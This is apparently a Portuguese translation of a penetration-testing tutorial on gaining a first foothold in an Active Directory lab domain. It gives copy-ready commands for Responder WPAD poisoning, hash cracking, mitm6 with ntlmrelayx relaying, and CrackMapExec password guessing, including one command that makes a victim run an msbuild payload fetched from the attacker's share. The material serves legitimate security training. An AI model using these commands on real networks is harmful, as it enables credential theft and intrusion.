A tradução do artigo foi preparada especialmente para os alunos do Pentest. Prática de teste de penetração . ”

Eu tive vários clientes que me procuraram antes do Pentest com a confiança de que eles estavam em boa forma, porque sua análise de vulnerabilidade não mostrava vulnerabilidades críticas e que estavam prontos para o Pentest, apenas para que eu recebesse direitos de administrador de domínio. em quinze minutos, apenas aproveitando os erros de configuração no AD.
Uma das lacunas na educação que vejo nos testes de penetração é a falta de conscientização no que diz respeito ao Active Directory Pentesting (AD). Infelizmente, o OSCP não ensina o teste de AD, e mesmo o curso SANS GPEN dificilmente toca nisso. O objetivo desta série é ajudar a demonstrar alguns dos truques, ferramentas e técnicas que eu usei no passado para pentests bem-sucedidos usando o AD. Este não é de forma alguma um guia completo para cada método ou ferramenta. Ao longo desta série, usarei o Kali Linux 2019 e trabalharei no meu domínio fictício por meio de máquinas virtuais.
Vamos começar definindo o
objetivo : o objetivo de um teste de penetração é identificar qualquer possível vetor de ataque que um invasor usará para invadir a rede. Não se
trata apenas de obter direitos de administrador de domínio e fazer logoff.
Agora que temos um objetivo, precisamos tomar várias medidas para alcançá-lo. Abaixo está um guia visual (aproximado) para o ciclo de teste.
Publicado por: MicrosoftSinopse : Um cliente contratou você para executar um teste de penetração na rede deles que usa o Active Directory. Você não recebeu nada. Você não tem credenciais, nem limites de teste, nem passe para entrar pela porta da frente, mas consegue passar por alguém através da porta e encontrar uma sala isolada com um telefone IP. Você desconecta seu telefone IP, conecta seu laptop e fica on-line. O que vem a seguir?
Implementação .
Fase I Implementação
Sem credenciais, podemos realizar apenas um reconhecimento limitado, e o reconhecimento ocorrerá em quase todas as fases do ciclo; no entanto, há várias coisas que podemos fazer imediatamente para obter uma posição na rede. Primeiramente, como temos acesso à rede, basta verificar em qual sub-rede estamos trabalhando via ifconfig ou ipconfig. Depois de receber o endereço IP, emita o comando ping no nmap para ver se outros dispositivos estão disponíveis.
nmap -sn 192.168.1.1/24
Se os dispositivos retornarem, você estará no negócio. Se você não estiver recebendo nada, o ICMP pode estar desativado, não há outros dispositivos na rede ou, porque você não foi autenticado, não pode se comunicar com outros dispositivos e pode ter sido bloqueado por uma solução de segurança de identidade (por exemplo, Cisco ISE). Para fins de artigo, vamos supor que várias máquinas retornem e você possa executá-las com êxito.
Ferramenta :
RespondenteEm seguida, usaremos uma ferramenta chamada
Respondente ou, se você não for indiferente ao Windows,
Inveigh . Essas duas ferramentas verificam um erro muito comum na configuração do AD, o que leva à possibilidade de envenenar o WPAD e o NBT-NS. Por padrão, o Windows está configurado para procurar um arquivo de configuração automática de proxy (PAC) por meio da descoberta automática de proxy da Web (WPAD). É importante observar que o WPAD não é o protocolo que realiza a pesquisa, mas apenas um conjunto de procedimentos que permitem que o dispositivo encontre o arquivo PAC. A detecção automática de um arquivo PAC é útil para organizações porque o dispositivo envia uma transmissão solicitando um arquivo proxy e o recebe. No entanto, é claro, ele não autentica quem envia o arquivo proxy, permitindo que o invasor envie uma resposta falsa, que solicita credenciais.
No Kali, o atendedor é instalado por padrão.
responder -I eth0 --wpad
No meu computador com Windows 7, abro o Internet Explorer e vou para o Google, que começa a procurar o arquivo WPAD. No Respondente, vejo como a solicitação chegou, após a qual o Respondente responde automaticamente à solicitação, como resultado da vítima enviar seu nome de usuário e senha com hash (no formato NTLMv2).

Existem várias coisas que podemos fazer com esse hash. Podemos tentar hackear ou retransmitir usando uma ferramenta como
ntlmrelay.py
. Falei sobre como traduzir hashes ntlm
neste artigo , por isso vou passar a hackear, pois geralmente é exatamente isso que faço na prática.
Para ser sincero, raramente decifro senhas no Linux / Kali. Eu uso a GPU nvidia, que nunca é instalada corretamente no Kali, além de haver um HashcatGUI no Windows que facilita muito o processo, e é isso que vou usar.
Pego o hash resultante, coloco-o em um arquivo chamado
"hash.txt" e corro várias listas / regras de palavras. Mas, neste caso, eu apenas executei o
rockyou.txt
e ele foi hackeado por um segundo.
Minhas configurações para HashcatGUI.
Senha hackeada - "Senha!"Agora que quebramos a senha com sucesso, temos as credenciais "Alice: Senha"!
Antes de continuar, existem vários outros métodos que eu gostaria de mostrar caso o Respondente não funcione.
Ferramenta :
mitm6Digamos que a rede do cliente use um arquivo PAC legítimo e sua falsificação não funcione. Há outro método que usa IPv6 e DNS para passar credenciais para o destino. Por padrão, o IPv6 está ativado e é realmente preferível ao IPv4. Isso significa que, se o computador tiver um servidor DNS IPv6, ele
preferirá o IPv4. Além disso, por padrão, as máquinas Windows procuram um servidor DNS IPv6 através de solicitações DHCPv6, o que significa que, se falsificarmos um servidor DNS IPv6, podemos controlar efetivamente como o dispositivo solicitará o DNS. Leia mais sobre isso
aqui .
Baixe o
mitm6 primeiro .
git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install .
Em seguida, execute-o no grupo de trabalho da rede de destino. Como já fizemos ping na rede, também obtivemos os nomes NetBIOS, descobrindo que o domínio de destino é
lab.local
.
Assim eram as configurações de IP de destino antes de iniciar o
mitm6
Preste atenção em um servidor DNSEntão eu lancei mitm6
mitm6 -d lab.local

E agora os objetivos do servidor DNS mudaram
Anote o endereço IPv6 como o servidor DNS.
Agora, a verdadeira vulnerabilidade é que o Windows prefere o IPv6 em vez do IPv4, ou seja, agora eu controlo o DNS.
Portanto, agora usamos o fato de controlar o DNS falsificando respostas do WPAD por meio do
ntlmrelayx.py
. Eu escrevi um
guia sobre como instalá-lo.
Com o mitm6 sendo executado em uma janela, abra outra e execute
ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh
: servidor que hospeda o arquivo WPAD (IP do invasor)
-t
: target (você não pode encaminhar credenciais para o mesmo dispositivo que está fabricando)
-i
: shell interativo aberto
A partir daqui, você pode conectar-se ao seu sistema de controle e monitoramento (C2) de sua escolha. Nesse caso, eu uso o SILENTTRINITY, portanto, o comando -c para executar meu comando, que nesse caso usa o MSBuild para criar minha carga maliciosa.
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

Mas não, o
msbuild.exe
não cria um arquivo XML nesse caso, e eu não recebo uma conexão com o SILENTTRINITY, pois isso seria muito simples. Em vez disso, olho para o meu servidor SMB e vejo um hash de retransmissão

Que eu, por sua vez, cortei.

E agora temos as credenciais de rede sem usar um Respondente.
Ferramenta :
CrackMapExecO CrackMapExec é essencialmente uma faca de pentester suíça. Desde ataques por spray de senha e transferências de hash, até a execução de comandos, ele deve estar em todos os conjuntos de ferramentas para pentesters.
Se tudo mais falhar, podemos tentar usar um ataque por senha. Há uma razão pela qual esse método é o último, e isso ocorre devido a um bloqueio de senha. O bloqueio de senha não é tão comum quanto você pensa, o que permite que um invasor use um ataque de dicionário por nome de usuário. A obtenção de um nome de usuário é a primeira etapa que pode ser realizada através do OSINT e do harvester. Se não tivermos um nome de usuário do OSINT, também podemos fornecer ao CrackMapExec (CME) uma lista de nomes de usuários, mas, por uma questão de tempo, vamos assumir que temos um
nome de usuário rsmith .
Se você estiver em Kali, o CrackMapExec já deverá estar instalado, se você estiver usando uma versão mais recente, mas se não estiver, poderá instalá-lo.
apt-get install crackmapexec
Como, como resultado da verificação, encontramos o dispositivo na rede, podemos fornecer ao CME uma lista de senhas emparelhadas com o nome de usuário e tentar fazer login no sistema.
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares
Após alguns segundos, a senha é encontrada.

Credenciais encontradas!
Pode parecer muito CTF, mas season: year é uma combinação extremamente popular de senhas.
Com essas credenciais obtidas, agora temos uma conta de usuário. Passaremos à escalação de privilégios na
segunda parte .